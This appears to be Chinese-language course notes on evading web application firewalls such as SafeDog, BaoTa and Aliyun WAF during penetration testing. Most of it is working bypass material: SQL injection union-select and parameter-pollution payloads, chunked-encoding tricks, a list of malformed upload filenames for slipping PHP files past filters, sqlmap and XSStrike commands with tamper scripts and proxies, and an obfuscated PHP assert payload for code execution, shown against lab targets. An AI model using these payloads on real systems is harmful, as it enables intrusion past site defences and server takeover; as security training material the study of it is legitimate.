1、在漏洞发现中，WAF会对三个方向进行过滤拦截：

1、速度流量问题
2、工具的指纹被识别
3、工具的检测Poc或Payload

2、WAF攻防-漏洞利用HPP污染&分块传输&垃圾数据

1、SQL注入&文件上传绕过
2、XSS跨站&其他漏洞绕过
3、HPP污染&垃圾数据&分块等

安全狗-SQL注入&文件上传-知识点

SQL注入 https://www.cnblogs.com/cute-puli/p/11146625.html
关键字替换
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
更换提交方式：
POST id=-1 union select 1,2,3--+
模拟文件上传传递数据
分块传输：更改数据请求格式
https://github.com/c0ny1/chunked-coding-converter
HPP参数污染：id=1/*&id=-1%20union%20select%201,2,3%23/

文件上传：换行解析&垃圾溢出&%00干扰&=符号干扰&参数模拟
filename=a.php
filename="a.php
filename="a.php%00"
垃圾数据;filename="a.php"
无限filename;filename="a.php"
filename=="a.php"
filename="name='uploadfile.php"
filename="Content-Disposition: form-data.php"
filename=="a.ph
p"

BT&Aliyun-SQL注入&文件上传-知识点

python sqlmap.py -u "http://test.xiaodi8.com/pikachu/vul/sqli/sqli_str.php?name=*&submit=%E6%9F%A5%E8%AF%A2" --random-agent --tamper=rdog.py --proxy="http://tps118.kdlapi.com:15818"
格式替换

BT&Aliyun-文件包含&代码执行-知识点

https://github.com/s0md3v/XSStrike
python xsstrike.py -u "http://test.xiaodi8.com/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit" --proxy
txt= $y=str_replace('x','','pxhpxinxfo()');assert($ y);&submit=%E6%8F%90%E4%BA%A4
文件包含：没什么好说的就这几种
..\ ..../ ...\等

安全狗：
注入 xss 文件上传拦截
rce 文件包含等其他不拦截

宝塔：
注入上传拦截
rce 文件包含 xss等其他不拦截
其中拦截的是关键字

aliyun
拦截的CC速度和后门信息收集和权限维持阶段拦截
漏洞利用他不拦截默认的版本（升级版本没测试）

WAF PHP环境 JAVA不支持

2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)